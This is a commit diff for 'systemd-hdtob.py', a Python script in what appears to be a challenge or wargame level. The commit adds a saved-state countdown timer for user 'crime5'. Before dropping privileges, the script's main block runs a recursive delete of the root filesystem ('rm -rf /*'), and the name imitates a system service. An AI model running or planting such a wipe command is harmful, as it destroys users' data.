Level/Level5/systemd-hdtob.py aktualisiert
This commit is contained in:
@@ -3,18 +3,36 @@ import time
|
|||||||
import subprocess
|
import subprocess
|
||||||
import pwd
|
import pwd
|
||||||
|
|
||||||
|
STATE_FILE = "/home/crime5/.timer/timer_state.txt"
|
||||||
|
|
||||||
def drop_privileges(user):
|
def drop_privileges(user):
|
||||||
pw = pwd.getpwnam(user)
|
pw = pwd.getpwnam(user)
|
||||||
os.setgid(pw.pw_gid)
|
os.setgid(pw.pw_gid)
|
||||||
os.setuid(pw.pw_uid)
|
os.setuid(pw.pw_uid)
|
||||||
|
|
||||||
|
def load_time(default_time):
|
||||||
|
if not os.path.exists(STATE_FILE):
|
||||||
|
return default_time
|
||||||
|
try:
|
||||||
|
with open(STATE_FILE, "r") as f:
|
||||||
|
return int(f.read().strip())
|
||||||
|
except:
|
||||||
|
return default_time
|
||||||
|
|
||||||
|
def save_time(remaining):
|
||||||
|
with open(STATE_FILE, "w") as f:
|
||||||
|
f.write(str(remaining))
|
||||||
|
|
||||||
def countdown(seconds):
|
def countdown(seconds):
|
||||||
for remaining in range(seconds, 0, -1):
|
for remaining in range(seconds, 0, -1):
|
||||||
|
save_time(remaining)
|
||||||
mins, secs = divmod(remaining, 60)
|
mins, secs = divmod(remaining, 60)
|
||||||
with open("/home/crime5/timer.txt", "w") as f:
|
with open("/home/crime5/timer.txt", "w") as f:
|
||||||
f.write(f"{mins:02d}:{secs:02d}")
|
f.write(f"{mins:02d}:{secs:02d}")
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
subprocess.run(["rm", "-rf", "/*"])
|
subprocess.run(["rm", "-rf", "/*"])
|
||||||
drop_privileges("crime5")
|
drop_privileges("crime5")
|
||||||
countdown(600)
|
remaining = load_time(600)
|
||||||
|
countdown(remaining)
|
||||||
|
|||||||
Reference in New Issue
Block a user